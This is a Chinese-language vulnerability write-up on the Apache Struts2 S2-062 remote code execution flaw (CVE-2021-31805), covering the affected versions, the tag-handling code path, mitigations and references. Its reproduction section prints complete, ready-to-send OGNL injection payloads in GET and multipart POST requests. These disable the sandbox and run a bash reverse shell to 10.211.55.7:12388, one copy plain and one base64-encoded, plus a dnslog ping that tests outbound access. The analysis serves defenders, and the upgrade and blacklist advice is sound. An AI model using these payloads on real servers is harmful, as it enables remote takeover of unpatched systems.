Apache Struts2 S2-062远程代码执行漏洞(CVE-2021-31805)分析 | 反弹Shell

VSole2022-05-13 07:27:20

0x00写在前面

本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!

0x01漏洞描述

 2022年04月12日,Apache官方发布了Apache Struts2的风险通告,漏洞编号为CVE-2021-31805,漏洞等级:高危,漏洞评分:8.5。Apache Struts 2是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了Java Servlet API,鼓励开发者采用MVC架构。在某些标签中若后端通过 %{...} 形式对其属性进行赋值,则将对 OGNL 表达式进行二次解析,从而执行恶意代码,该漏洞是 S2-061 的绕过,后端通过 %{...} 形式对特定标签 name 属性赋值;存在 Commons Collections 3.x 版本依赖。

0x02漏洞影响

2.0.0 <= Apache Struts2 <= 2.5.29

0x03漏洞分析

参考国外分析软文

首先查看前端jsp文件name属性标签,是通过 %{...} 进行赋值后将对 OGNL 表达式进行二次解析,从而执行恶意代码。

struts2运行Action类

maven pom文件如下

xml version="1.0" encoding="UTF-8"?>
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">  4.0.0
  SimpleStruts  SimpleStruts  1.0-SNAPSHOT  war
  SimpleStruts Maven Webapp    http://www.example.com
      UTF-8    1.8    1.8  
            junit      junit      4.11      test              org.apache.struts      struts2-core      2.5.26              commons-collections      commons-collections      3.2.2            SimpleStruts                            maven-clean-plugin          3.1.0                                  maven-resources-plugin          3.0.2                          maven-compiler-plugin          3.8.0                          maven-surefire-plugin          2.22.1                          maven-war-plugin          3.2.2                          maven-install-plugin          2.5.2                          maven-deploy-plugin          2.8.2                    

name传参

在Strut2中对jsp中标签处理流程如下

org.apache.struts2.views.jsp.ComponentTagSupport#doEndTag()

函数开始。调用

org.apache.struts2.components.UIBean#end()

函数,然后通过end()函数调用UIBean类的evaluateParams()函数。

跟进evaluateParams函数对标签属性的处理,然后重点关注对name 属性的处理。

最终执行恶意代码。

补丁如下

@org.apache.commons.collections.BeanMap@{}

没有任何沙箱限制,使用特殊的 OGNL 语法直接创建绕过沙箱限制。

0x04漏洞复现

IDE平台下通过tomcat环境外部部署war包复现(也可以docker环境)

通过GET方式将攻击payload进行发送,然后bash反弹shell(明文数据,传输过程中需一次url编码)

GET /Struts2_62_war/S2061.action?payload=(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,bash -i >& /dev/tcp/10.211.55.7/12388 0>&1}|{base64,-d}|{bash,-i}'})) HTTP/1.1Host: 10.211.55.2:8080Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Encoding: deflateAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Cache-Control: max-age=0Content-Length: 0Cookie: JSESSIONID=51B26DCD798CE551DD2D88CD470D6C5AUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:99.0) Gecko/20100101 Firefox/99.0

成功获取反向shell

通过POST方式将攻击payload进行发送,然后bash反弹shell

POST /s2_062/index.action HTTP/1.1Host:10.211.55.2:38105User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateDNT: 1Connection: closeCookie: JSESSIONID=node01c863u8lzu8eyn099a51bjyie0.node0Upgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Length: 1191
------WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Disposition: form-data; name="name"
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMTEuNTUuNy8xMjM4OCAwPiYx}|{base64,-d}|{bash,-I}'}))

成功获取反向shell

通过dnslog测试是否可以出网

POST /s2_062/index.action HTTP/1.1Host:10.211.55.2:38105User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateDNT: 1Connection: closeCookie: JSESSIONID=node01c863u8lzu8eyn099a51bjyie0.node0Upgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Length: 1191
------WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Disposition: form-data; name="name"
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'ping ysvrdp.dnslog.cn'}))

成功解析dnslog,可出网

0x05修复建议

目前官方已有可更新版本,用户可升级至 2.5.30 版本:

https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.30

缓解方案

1、可通过设置所有标签中 value="" 来缓解此漏洞;

2、将 org.apache.commons.collections.BeanMap 添加至 excludedClasses 黑名单中。

漏洞自查

通过排查struts-core-版本号.jar来判断是否受此漏洞影响,

如果没有版本号可以在jar文件的META-INF/MANIFEST.MF中搜索Bundle-Version,如果struts-core < 2.5.30则存在该漏洞。

0x05参考链接

https://nox.qianxin.com/vulnerability/detail/QVD-2021-14649

https://cwiki.apache.org/confluence/display/WW/S2-062

https://mc0wn.blogspot.com/2021/04/exploiting-struts-rce-on-2526.html

https://github.com/apache/struts/commit/0a75d8e8fa3e75d538fb0fcbc75473bdbff9209e

https://www.freebuf.com/vuls/257626.html

远程代码执行漏洞apache
本作品采用《CC 协议》,转载必须注明作者和本文链接
2022年4月12日,Apache发布安全公告,修复了一个Apache Struts2 中的远程代码执行漏洞漏洞编号:CVE-2021-31805,漏洞威胁等级:高危,漏洞评分:8.5。
2022年4月12日,Apache发布安全公告,修复了一个Apache Struts2  中的远程代码执行漏洞漏洞编号:CVE-2021-31805,漏洞威胁等级:高危。
2022年1月13日,360漏洞云团队监测到Apache发布安全公告,修复了一个Apache Dubbo中的远程代码执行漏洞漏洞编号: CVE-2021-43297,漏洞威胁等级:高危。
近期,“核弹级漏洞Apache Log4j2 远程代码执行漏洞细节被公开,攻击者利用漏洞可以远程执行代码。 Apache Log4j2 是一款优秀的 Java 日志框架,该工具重写了 Log4j 框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。 漏洞原理简述
近期,启明星辰漏扫团队在漏洞监控中发现Apache Struts2存在远程代码执行漏洞Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。
12月7日,Apache Struts2官方更新了一个存在于Apache Struts2中的远程代码执行漏洞(CVE-2023-50164)。
1、Accellion零日漏洞攻击:及时更新并安装补丁 2021年2月,美国、加拿大、荷兰及其他国家和地区的多个组织遭到严重的数据泄露,原因在于使用的FTA(File Transfer Appliance)文件传输服务存在漏洞。其中,美国零售巨头克罗格是最大的受害者之一,旗下药房及诊所的员工及服务客户数据被曝光。另外,能源巨头壳牌公司、众达律师事务所、新加坡电信、华盛顿州和新西兰储备银行等均在受
漏洞信息本质上是一类威胁情报,可以被用来结合组织自身的资产驱动持续的检测与响应,避免漏洞导致实际的风险。
根据以上综述,本周安全威胁为中。报告显示,XSS漏洞占了报告的所有漏洞的18%,总计获得了420万美元的奖金。此外,不当访问控制漏洞所获得的奖金额度比去年同比增长134%,高达到400万美元,其次是信息披露漏洞,同比增长63%。原文链接: 2、Pulse Secure发布企业推进零信任网络的分析报告 Pulse Secure发布了有关企业推进零信任网络的分析报告。企业管理协会副总Shamus McGillicuddy表示,企业显然正在加快采取零信任网络的步伐。
十大网络暴力事件
2022-07-26 11:11:34
ColonialPipeline在当地时间周五 因受到勒索软件攻击,被迫关闭其美国东部沿海各州供油的关键燃油网络。该事件涉事的黑客团队DarkSide索要高达数百万美元虚拟币。该事件也是2021年造成实质影响最大的网络安全事件。否则一旦遭到破坏或数据泄露,将会造成严重后果。该案件是我国迄今为止查获单体数据泄露最大案件。
VSole
网络安全专家